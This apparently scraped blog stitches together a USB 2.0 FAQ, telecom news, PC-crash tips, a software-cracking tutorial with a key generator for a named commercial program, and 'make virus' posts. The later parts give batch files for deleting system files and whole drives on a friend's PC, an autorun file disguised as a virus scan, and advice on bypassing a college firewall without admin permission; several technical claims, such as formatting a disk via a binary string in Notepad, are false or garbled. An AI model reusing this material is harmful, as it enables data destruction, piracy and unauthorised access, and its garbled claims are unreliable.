UBS TIPS

Posted By: IT FUNIA.TK

only 1.5Mbits/s to function. That performance level is also named 'USB' by the USB Promoter Group.

To sum it up, USB 2.0 specification incorporates three speeds: Hi-Speed, Full-Speed and Low-Speed. You as a consumer don't need to figure out all the jargons. Just keep in mind that only 'Hi-Speed USB' and 'USB' host and devices exist.

How do I know if my PC has USB 2.0?
You can identify whether your PC has Hi-Speed or not relatively easy. Open Device Manager and expand the Universal Serial Bus section. There should be an "Enhanced" USB host controller present.

Windows 98 systems may use a different name, because Hi-Speed USB drivers in these operating systems are not provided directly from Microsoft (Windows ME, 2000 and XP get their drivers through Windows Update).

These drivers are provided by the manufacturer, and may carry the maker's name (i.e. ADS, Belkin, IOGear, Siig, etc.). There should also be two standard version USB host controllers present as well. They are embedded in the USB chip which routes the differing USB speeds accordingly without user intervention.

There are currently 6 manufacturers of the Hi-Speed USB host silicon themselves:

• 
  

  ALi (Acer Labs)

  
  


• 
  

  Intel

  
  


• 
  

  NEC

  
  


• 
  

  SiS

  
  


• 
  

  VIA

  
  


• 
  

  nVidia (shows as "Standard" controller

  
  

Any other brand name that appears in Device Manager would likely be an add-in Hi-Speed USB PCI card. The makers above do not make add-in cards, but they do make the chips that are used in them.

How do troubleshoot "unknown device" error listed in Device Manager?

• 
  

  The USB device or the USB adapter requires its own power source. If your USB device or adapter came with an AC power "brick", try connecting it.

  
  


• 
  

  Here's a likely one - the front USB ports on your PC case may be misconnected. I've seen them that way from the factory. It's a good idea to check the connections against specifications. The standard order of connection is Red, White, Green, and Black. No more than 4 wires per USB bank are needed.

  
  


• 
  

  Defective device. Do not assume that all PC components work correctly out of the box. I've seen many new USB devices that do not work. If you can, try the device on another PC.

  
  


• 
  

  All drivers are not installed. Some devices will require installing the driver package before plugging in the device. Some devices will also require basic USB files from the Windows CD before the unit will function. The general rule is to always follow installation directions precisely and to have the Windows CD ready.

  
  

How fast is USB 2.0?
USB 2.0 has a raw data rate at 480Mbps, and it is rated 40 times faster than its predecessor interface, USB 1.1, which tops at 12Mbps. Originally, USB 2.0 was intended to go only as fast as 240Mbps.

How will consumers benefit from USB 2.0?
With speed 40 times more than that of USB 1.1, USB 2.0 broaden the range of external peripherals that can be used on a computer. Even with multiple high-speed peripherals connected to a USB 2.0 bus, the system will less likely to hit the bandwidth bottleneck. The new specification also inherits the current USB's Plug and Play and hot-swapping capability as well as providing backward compatibility for USB 1.1 hardware, allowing existing user base to upgrade seamlessly.

Do USB 2.0 & USB 1.1 hardware work interchangeably?
You may have heard that USB 2.0 is "backward-compatible" with USB 1.0/1.1 (Full-Speed USB). While that's true, USB 1.1 is also forward-compatible with USB 2.0. Whenever a system has USB 2.0 ports, you'll find the "Enhanced" USB controller in Device Manager, but you will also find two other USB controllers. These two to maintain backward compatibility to USB 1.1 devices. Each USB 2.0 host actually has 3 chips onboard. The USB controller routes signals to the correct controller chip depending on how a device is recognized. Where a device is physically plugged in has no bearing on how it is routed. All ports on a USB 2.0 motherboard can host any USB devices at all as long as the system and devices are healthy.

The vast majority of USB 2.0 devices will work on older PCs and Macs. None should flat-out fail unless there are other issues with the system. Hi-Speed USB devices will revert to Full-Speed operation when connected this way. Understand that Hi-Speed is at least ten times faster than Full-Speed in actual operation, so the speed difference is quite noticeable - unless you have never experienced Hi-Speed, of course.

When it comes to USB hub compatibility between USB 2.0 and USB 1.1, here some facts:

• 
  

  A powered hub is always preferable to unpowered.

  
  


• 
  

  USB hub ports are not as capable or flexible as real PC ports so it's best not to expect the world of them.

  
  


• 
  

  USB 1.1 (obsolete) hubs will work fine on USB 2.0 ports, but they cannot utilize USB 2.0 capabilities. They will default to slower speeds.

  
  


• 
  

  Hi-Speed and Full/Low-Speed USB devices can coexist nicely on USB 2.0 hubs. Connecting such a hub to a USB 2.0 port is recommended.

  
  


• 
  

  USB 2.0 hubs can be used on older USB 1.1 computers.

  
  


• 
  

  Although it is said that you can "cascade" up to 4 hubs, problems may start to arise after two hubs, it's best to minimize hub usage if possible.

  
  


• 
  

  Many USB devices don't work well on hubs. Cameras, scanners and especially USB drives are known to have problems with hub connectivity.

  
  


• 
  

  Remember that "active USB extensions" are really just one-port hubs.

  
  

Will USB 2.0 replace USB 1.1?
Not entirely, because many products such as generic keyboards, mice, joysticks and audio speakers do not require the faster speed of the new USB 2.0 technologies. Only bandwidth-hungry devices, such as web cams and high-capacity storage systems, will need all the speed. However, next-generation systems will come with USB 2 ports rather than USB 1.1.

How do I distinguish between a USB 2.0 and a USB 1.1 devices? New logos designed by the USB Promoter Group allow consumers to easily identify the new USB 2.0 products. The new colorful logo for USB 2.0 is labeled USB Hi-Speed, and the new logo for USB 1.1 is labeled with USB Basic Speed. However, most people won't miss it as manufacturers often label USB 2.0 READY Or 40 times faster than USB 1.1, on the boxes.

Will USB 1.1 devices run any faster on a USB 2.0 bus?
No. However, the new USB 2.0 archiclecture allows more high-speed USB 1.1 devices, such as web cams, audio devices, to share the bandwidth. Developers need to follow USB 2.0 spec in order to design higher speed peripherals that can take advantage of the extra bandwidth. USB 1.1 devices still operate at 12Mbps at full-speed and 1.5Mbps at low-speed on a USB 2.0 bus. Even though USB 1.1 devices won't run any faster, they can work alongside of USB 2.0 devices on the same bus.

What are USB Hi-Speed and USB Basic Speed logos?
These logos are part of USB Promoter Group's branding program that ensures the quality of USB products. The USB 2.0 certified products would display a blue, white and red logo, bearing the words Certified and Hi-Speed. The classic USB 1.1 certified products would display a black and white logo with the words USB and Certified.

Under a license from USB-IF, products must pass the compliance tests before manufacturers can use one of the two trademarked logos. The Promoter Group will take legal actions on manufacturers that label either logo on their products, which have not passed the tests.

What happen if a USB 2.0 devices are plugged into a USB 1.1 systems?
The entire bus under the USB 1.1 root hub will slow to 12Mbps. The operating system will probably notify the user about the sub-optimal configuration and recommend for a better course of action.

If several USB 1.1 hubs are connected to a USB 2.0 bus, then each of the USB 1.1 hubs will get a full 12Mbps bandwidth.

What is the max? Length of a USB 2.0 cable?
5m. however, if you cascade 5 hubs with 5m USB cables, this will allow you to connect a device 30m away.

What do I need to use a USB 2.0 device?
The requirement is similar to that of USB 1.1, but all components will have to be USB 2.0 compliant. A successful USB 2.0 connection requires a USB 2.0 host controller card, a USB 2.0 driver and a USB 2.0 peripheral.

How much will it cost to upgrade to USB 2.0?
Around $80 to $150. Currently, Orange Micro., Adaptec and IO Gear are shipping USB 2.0 PCI cards, some of which even have FireWire ports. Interestingly, almost all USB 2.0 PCI cards include an internal port, which is probably for connecting internal USB 2.0 IDE enclosure or USB 2.0 front panel.

Will USB 2.0 arrive on mobile computers?
Yes, but not in integrated solution on laptops. You will need a USB 2.0 Card Bus card. Orange Micro. is shipping USB 2.0 compliant 4-port Card Bus card. Eventually, notebook vendors will adapt to USB 2.0 technology, and we will see USB 2.0 ports on laptops. This transition won't happen until 2002 at the earliest.

Which operating systems support USB 2.0?
Microsoft has released the official USB 2.0 driver for Windows XP and Windows 2000. The version is 5.1.2600. The software is available on-line at Windows Update website. (If you don't have a USB 2.0 card installed in your system, Windows Update won't list the USB 2.0 driver as an update.)

The software company is still considering USB 2.0 support for Windows ME, but it already has decided not to bring USB 2.0 to Windows 98 and Windows 98 SE. If you have Windows 98, you will have to rely on 3rd party USB 2.0 support from USB card manufacturer.

Do USB 1.1 cables work with USB 2.0 devices?
Ideally, yes. USB 2.0 architecture uses the same cables and connectors as USB 1.1 compliant products. Unfortunately, only 3 out of 11 cables on the market are certified as USB 1.1 compliant. You may run into the cables that cause problems connecting high-speed peripherals. To avoid negative user experience, most vendors include USB 2.0 compliant cables with their USB 2 PCI cards and peripherals.

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SCOM SIMS || UFONE and ZONG in One SIM

SCOM SIMS||| One SIM get 2 Networks

Islamabad—Special Communications Organization (SCO) and Pak Telecom Mobile Limited (PTML) cellular operators with brand name of SCOM and Ufone, have signed renewed Interconnect Agreement at HQ SCO Rawalpindi. The ceremony was graced by the Director General SCO, President/CEO Ufone and other senior officials from both sides.  

SCO is the largest telecomm operator providing landline, GSM, WLL, Internet and data services in the most difficult areas of Azad Jammu & Kashmir (AJ&K) and Gilgit-Baltistan (GB). Ufone, one of the major GSM service providers has network coverage all over the country including AJ&K and GB. SCO has already signed first ever Roaming Agreement with Ufone enabling SCOM customers to use their parent network across the entire length and breadth of Pakistan.

Signing of RIO based agreement between SCO and Ufone will be mutually beneficial for their respective valued customers. Both sides expressed their greater satisfaction and stressed on the need to further expand bilateral relations to serve the people of the area in a more befitting manner.

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10 Reason of PC Crush

10 Reasons Why PCs Crash U Must Know

Monday, February 7, 2011

10 reasons why PCs crash U must Know
Fatal error: the system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."
You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?
1 Hardware conflict
The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.
For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.
If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:
* Start-Settings-Control Panel-System-Device Manager.
Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.
Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.
Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is http://www.driverguide.com/. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).
When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.
To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.
2 Bad Ram
Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.
But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.
One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.
Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.
EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.
3 BIOS settings
Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.
Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.
A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.
Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).
4 Hard disk drives
After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to
* Start-Programs-Accessories-System Tools-Disk Defragmenter
This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.
The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).
Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to
* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.
Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.
Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to
* Start-Programs-Accessories-System Tools-ScanDisk
Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.
5 Fatal OE exceptions and VXD errors
Fatal OE exception errors and VXD errors are often caused by video card problems.
These can often be resolved easily by reducing the resolution of the video display. Go to
* Start-Settings-Control Panel-Display-Settings
Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.
If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to
* Start-Settings-Control Panel-System-Device Manager
Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.
If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.
The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.
Another useful way to resolve video problems is to go to
* Start-Settings-Control Panel-System-Performance-Graphics
Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).
Look up your video card's manufacturer on the internet and search for the most recent drivers for it.
6 Viruses
Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to
* Start-Settings-Control Panel-Add/Remove Programs
Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.
A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.
An excellent antivirus programme is McAfee VirusScan by Network Associates ( http://www.nai.com/). Another is Norton AntiVirus 2000, made by Symantec ( http://www.symantec.com/).
7 Printers
The action of sending a document to print creates a bigger file, often called a postscript file.
Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.
If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.
8 Software
A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.
The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.
Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from http://www.jv16.org/
Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.
Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.
Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.
Remember to restore all the BIOS settings back to their former settings following installation.
9 Overheating
Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.
One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from http://www.computernerd.com/ or http://www.coolit.com/
CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.
10 Power supply problems
With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.
If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.
It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.

REVERSE CODING

----------------------
REVERSE CODING
----------------------

# Released by Cybnet Security Group
# legalz: modify and use at will, if you make any changes, improvements, updates or use the code
# in another project, please send us what you did and give credit
# if you have any questions, post them at forum.hackerthreads.net
# be sure to check out hackerthreads.org for updates and new tutorials/downloads
Copyrights reserved to k33t, 2002 from CYBNET Security Group
----------------------------------------------------------------------------------------------------
Index:
-------
1.Introduction
2.Disclaimer
3.Hexadecimal
4.RAM and ROM
5.ASM
6.Needed programs
7.Cracking
8.Conclusion
---------------------------
---Introduction----------
Welcome to my Reverse Coding tutorial! In this paper, you will
learn how to crack and modify your own software. I'll try to get
into as much detail as possible, yet also dumb it down a bit. =)
------------------------------------------------------------------------------------------------------
---Disclaimer------------
All information is purely for educational purposes only! The author
cannot be held responsible for any (ab)use of this information.
USE AT YOUR OWN RISK!!!
------------------------------------------------------------------------------------------------------
---Hexadecimal----------
To begin, I'm going to teach you about hexadecimal, so if you already
know it, then move on. Even if you do already know it, I suggest
sticking around for a refreshment of your memory.=)
Hexadecimal, or hex as it's more commonly known, is a base 16
numbering system. Base 16 meaning that it consists of 16 numbers:
0-9 and A-F. Each of these numbers (A-F=10-16) have a value of 4 bits
and are also called nibbles. In representing a hexadecimal number, one
would write an "0x" before the actual bit set. 0x is simply a tag put
before a hex number to let programmers know that it is in fact, hex.
When writing hex, you will not need to use this prefix.
If you haven't already noticed, the 0x prefix looks similar to that of exponential
notation. Actually this is where 0x has been derived, seeing as how
hex is simply a number that has been raised to a power of 16.
This means 10 in hexadecimal represents the value 16+0, or 16. So check
out this example:
0xB3 (hex)= 2*16(squared)+11*16(to the 1st power)+3*16(to the power of 0 )
=2*256+11*16+3=691 (decimal)
Yeah, you could do all of that, or you could be lazy and use an automated
program that does it all for you. Why do you need to know hex? Because
it's used by every piece of software and hardware. How? Memory based address
allocation. Here's an example:
When you clicked on your browsers icon to launch it, the click triggered a "call"
(an asm function that will be discussed more in depth in later chapters.) which
went back to the programs memory with the "click in it's hand." It finds the
address where the code is that makes the program launch and executes it. The
address is written in, you guessed it, hex. An example of an address would be
something like this:
101c5018
5108 would be the actual specific address and 101c would be the sector
of RAM were the address is located. Those are the basics of Hexadecimal
You should probley read this chapter againbecause getting a firm grasp on hex
is essential to cracking and moding programs.
----------------------------------------------------------------------------------------------------------
---RAM and ROM--------
In this section we are gonna learn about RAM and ROM. Many people kno about
the hardware part of RAM and ROM and that's gonna be very useful to you......
just not in this tutorial. =) We are about to learn about the "software" side. I use the
term software loosly in that software tends to have a GUI (Graphical User Interface)
and this does not. BUT, there are ways to access and modify the behavior of it that
I will talk about in this chapter, as well as in the next. To start off, I'll answer some
common questions:
What is RAM?
RAM (Random Access Memory) is basically memory and the process of accessing it.
The term "Random Access Memory" was approprietly given to this memory unit because
when executing a command, the CPU doesn't have to scroll through all the memory on
your PC until it finds the right address. It "randomly" whips out the addy from it's back
pocket and serves it up.This process is both quick and efficient. Learning this process
will help you understand the ASM functions in the next chapter.
How does RAM work?
When a command is issued and the memory is pulled from file, it must first go through
what is called a "vector". A vector is a "gateway" or a "sector" of RAM where the address
of the function is stored with others of it's own kind. An example of a vector would be
something like this:
8c0000b4-8c00ffff
This means that all "addressii" (hehe) that are between those values are stored in that
sector of RAM. A vector acts as a gateway in that, first, pass through a vector to get to
address. Your average program probley has about 30 to 40 main vectors, sectioning
off from boot until exit. Knowing the vector of an addy or a function will greatly reduce
your headache when you start searching for it.
ROM. ROM is a part of memory that doesn't change. (Although we can change it.=) )
Boot ROM for instance, follows the same plan of action it is called upon. ROM also has
vectors, just like RAM. ROM is not that important when it comes to cracking to we will
leave it alone for now.
Back to RAM. Believe it or not, but addressii (there I go again, I'm such a g33k.)
actually follow certain formats or syntax's for certain functions. Take hot keys for
example: In the under ground, we call them "Joker commands". By pressing a certain
combonation of keys, a program will run, close, be stupid, whatever. The syntax for a
Joker command is as follows:
0d-aaaaaf
000zvvvv
Let's examine this format a little closer.
0d= The proclemation of a specifyed format
aaaaa= The address of the function
f= The float or remainder; "Floating point number" ; decimal
000= "NOP" No operation
z= The "Booleon" as we the C++ programmers call it. A booleon is an "IF, THEN" statement.
"IF this is true, THEN do this." Value 0= equal; 1= different; 2=less than; 3=greater than.
vvvv= The combonation of hex values (The values of the keys pressed) used to execute the "CALL"
Say the "A" key had a vlaue of fffb and the "B" key has a vlaue of fffd. You would then add both
values using a hex calculator and get fff9 as the sum. The output on you calculator would
show 1fff8. Add the first value and the last value to find the fourth byte segment. So say
we've found the address of the Joker function (usually in the boot ROM sector) commonly
called the "Maple address" and we are ready to program in some hex code. Our code may
look like this:
0d7ae671
0000fff9
This means that IF the value of fff9 (A and B) is equal (0) to the address (aaaaf) of the function,
THEN execute it. See? Easy isn't it? You'll need to know things like this when modding programs
as a use of executing of your arbitrary code in certain parts of your program at a certain time.
Joker commands are also reversable in that if you enter the same code except with a 1,2, or 3,
in the z slot and by changing the button combonations. Reversable meaning terminating the
function or other functions that were started. A good use for this is for firewalls and babysitting
programs. Are you on a college machine and can't download stuff because of that pesky firewall?
Crack it open and program in some Joker commands so you can turn it on and off at will
WITHOUT the administrator's password!
--------------------------------------------------------------------------------------------------------------
---ASM-----------------------
To start off with our small and to the point ASM section, I'll warn you in advance, after reading this,
you'll need to go take a shower cause this is disgusting! Here we go!
To begin, I'm gonna define for you some functions that you'll be seeing alot of, and be using. Here they are:
.:Hex:. .:ASM:. .:MEANING:.
75,0f85 jne jump if not equal
74,0f84 je jump is equal
eb jmp jump directly to
90 nop no operation
77,0f87 ja jump if above
0f86 jna jump if not above
0f83 jae jump if above or equal to
0f82 jnae jump if not above or equal
0f82 jb jump if below
0f83 jnb jump is not below
of86 jbe jump if below or equal
0f87 jnbe jump if not below or equal
0f8f jg jump if greater
0f8e jng jump if not greater
0f8d jge jump if greater or equal
0f8c jnge jump if not greater or equal
0f8c jl jump if less
0f8d jnl jump if not less
0f8e jle jump if less or equal
0f8f jnle jump if not less or equal
The easy thing about most of the functions in ASM are that they sound like what they mean.
Jump, means of coarse, to Jump from one thing to another. Example:
"jmp 00401744" would mean to jump directly to the address 00401744 once the code
hits the function.
Let's look at "CALL". Call is a function that is used to "call" a certain task, string, address, whatever.
Take a look at this example:
"Call 0040ccc2" this would of coarse call the address 0040ccc2 and use it. Those are the functions
you'll be using.
The reason why I'm not going into loads of detail in this chapter is because when
cracking software, not an extensive amount of knowledge of ASM is needed. If you want
to know more or need help with something, e-mail me at the address provided at the end of
this tutorial. This chapter wasn't so nasty was it? Nah, it was easy =)
------------------------------------------------------------------------------------------------------------------------
---Needed Programs----------------
The programs you will need are as follows:
WDasm 8.9 or Higher
Hiew 6.1
Softice for win9x v3.24
SubmitWolf(demo)v4.01 (http://www.trellian.com/swolf)
Programming Language (C,C++,Pascal,ASM whatever you would like) Prefably C for this tutorial!
And a brain (no seriously)
--------------------------------------------------------------------------------------------------------------------------
---Cracking-----------------------------

Ok, here we go! The first thing you need to do is to open up SoftIce and then swolf32.exe which is the name given to our
target program. Go to the help menu and select register. Here's where your brain will come in, start to look
for how the protection is running by entering some random crap into the blank space. Don't press the OK button yet though.
Instead, press CTRL-D to bring up SoftIce. What we are gonna try to do is define a breakpoint, using BPX hmemcpy.
Hit CTRL-D again and it will bring you back to the program. Click OK on the box and SoftIce will again pop up. Now press F12
and it will bring you to the target program code. Scroll down a few lines and find:
:004167D9 8D4C2410 lea ecx, dword ptr {esp+10}--;ecx=the random crap you typed in.
:004167DD 8D94290000000 lea edx, dword ptr {esp+00000090}-;edx=name
:004167E4 51 push ecx
:004167E5 52 push edx
:004167E6 E8B5450100 call 0042ADA0----;this is the call which calculates the serial
:004167EB 83C410 add esp, 00000010--;
:004167EE 85C0 test eax, eax----;and return eax=1 if true (booleon =) )
:004167F0 0F8596000000 jne 0041688C----;jump to registered
:004167F6 8D442408 lea eax, dword ptr {esp+08}
:004167FA 8D8C2488000000 lea ecx, dword ptr {esp+00000088}
:00416801 50 push eax
:00416802 51 push ecx
:00416803 E868470100 call 0042AF70----;this call tests our serial
:00416808 83C408 add esp, 00000008---;
:0041680B 85C0 test eax, eax----;for v3.XX one.
:0041680D 7433 je 00416842;jump is equal
The call that we want to focas on is at 004167E6. This call tests wether our serial is for the correct version or not.
Let's trace the call 004ADA0:
*Referenced by a CALL at address:
:0042ABFC
:0042ADA 83EC30 sub esp, 00000030
:0042ADA3 55 push ebp
:0042ASA4 56 push esi
:004ADA5 57 push edi
:0042ADA6 8B7C24444 mov edi, dword ptr {esp+44}--;edi=our fake serial
:004ADAA 85FF test edi, edi
:004ADAC 0F4A7010000 je 0042AF59----;die if empty
:004ADB2 8B6C2440 mov ebp, dword ptr {esp+40}--ebp=our name
:0042ADB6 85ED test ebp, ebp
:004ADB8 0F849B010000 je 0042AF59---;die if empty
:004ADBE 8A07 mov al, byte ptr {edi}--;compare 1st byte of serial with 'p', die
:0042ADC0 3C50 cmp al, 50----;
:0042ADC2 0F8587010000 jne 0042AF4F----;if not equal
:0042ADC8 807F0134 cmp byte ptr {edi+01}, 34--:compare byte of serial with '4'
:004ADCC 750C jne 0042ADDA----;
:0042ADCE C70500C8430000000000 mov dword ptr {0043C800}, 00000000
:0042ADD8 EB1C jmp 0042ADF6
As we can see by the above, the code tells us that the first value of our serial will
be 'p' and a cycle of a four byte algorythm. I could go on and on about all of the internals
of all this stuff but that would be going beyond the scope of this tutorial. The idea was to show
how to crack this pro, and thats what I'm going to do. Based on the information I've given you, and the
information that you can deduce from reading the code, I've written a small key generator in C.
If you know C, then you'll be able to tell where i got the algorythms to write it. So here it is:
#include
#include
int main(void)
{
long code=555583,count1,count2;
char name[25],cod[5],type='0';
clrscr();
textcolor(14);
printf("This is a simple key-generator written by k33t of CYBNET Security Group");
printf("=================================================");
text color(10);
printf("SubmitWolf(demo)ver4.1 cracked by k33t");
textcolor(14);
printf("%c%c%c",0x10,0x10,0x10");
textcolor(12);
printf("Yup")
prinf("-November 2002");
prinf("'\n\nSelect Edition PRO(0) or Enterprise(1) (0/1)=");
scanf("%c",&type);
if(type=='1')code=557283;
getchar();
prinf("Enter Registration Name=");
scanf("%[^\n]",name);
for(count1=0;count1<=3;count1++
cod[count1]=name[count1];
for(count=1;count1=3;count1++){
for(count2=0;count2<=3;count2++)
cod[count2]=cod[count2]*(code%100);
code=code/100;
}
for(count1=0;name[count1]>0;count1++);
for(count2=0;count2<=3;count2++)
cod[count2]=cod[count2]^(name[count1]+3);
for=(count1-3;count1>=0;count1--){
code=code+(cod[count1]&0xFF);
if(count1>0)
code=code*0x100;
}
if(code<0)code=-code;
for(;code<10000;) code=code*10;
for(;code>999999;) code=code/10;
printf(Your Serial Number=P%c4-%ld",(type=='1')? 'E':'4'code);
return ;
}
Ok! So! An overall conclusion of this code is:
1.First two characters of the serial must be either 'PE' or 'P4'.
2.Multiply every first four characters or our name with every byte of our serial before '-'
3.XOR every four byte with every byte of our name.
4.Convert to positive number if<0.
5.Convert to number between 10000 and 1000000.
Forgive me if this code is buggy as I wrote it very quickly in the little spare time I had.
-----------------------------------------------------------------------------------------------------------
---Conclusion-------
Well how was your first cracking expierience? Not bad eh? Ok well if you have any questions,
problems,comments,.....criticsms.......you can e-mail them to me at:
Email: badini4ever@yahoo.com 0333-7700757

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Virus? || What is Trojen?

What is Torjan? (for Noobs)

Torjan is a program that, which will infect your pc with Virus.
What Torjan Can do with your Computer?
1.It Can disable your Task Manager
2.It Can disable your Folder Option
3.It Can disable your Registry Editor
4.It Can disable your CMD Command Prompt
5.It Can Hack your Computer and Remote Control of the Computer,
6.Hacker Can steal all passwords and exploit any file from your pc.

Formate HardDisk using Notepad or destroy your friends pc data using notepad

Sunday, April 3, 2011

Format Hard Disk Using Notepad

1. Write/copy the following code:  010010110001111100100101010101010100000111111 00000
2. Save As it as .EXE and any Name would Do. eg- (virus.exe)
3. If u run the program means it will format the Hard Drive.
NOTE: This is for learning purpose only!!

Method of making !

How to Save file as .bat or Autorun.inf

Some persons dont know how to make .bat or inf file through text document.
Now this is very small tutorial,

1st you need any kind of code For Example:
now create a simple text document in your desktop and copy the red text code and paste it into text document,


[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

now go to file and click on save as and save it as autorun.inf if you want make .bat file then save it as anyname.bat if you want save it as exe then anyname.exe

how to corrupt your friends or anyone computer window using bat

Wednesday, March 9, 2011

how to corrupt your friends or anyone computer window using bat

  
Simply create a New Notepad, copy the below code and paste it in Notepad, now go to file and save it as Window.bat

@echo off
del c:\windows\system32\restore
del c:\windows\system32\winlogon.exe
del c:\windows\system32\logonui.exe
shutdown -f

Make Virus

Wednesday, March 2, 2011

Make Virus

Make Virus 3 types

Copy the Following Codes and save it into batch file...

1.Virus Code this Virus Code will deleted your all files in hard drive....just copy code and save it into notepad and save as batch file..:)

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

2.Virus Code this Virus will crush your window...:D

just copy n save as batch file..

@Echo off
Del C:\ *.* y
 

3.This Virus Will just restart your pc

@echo off shutdown -r -f -t 00
save as anyname.bat

Enjoy

Destroy yur friends computer with Virus Cool Tips

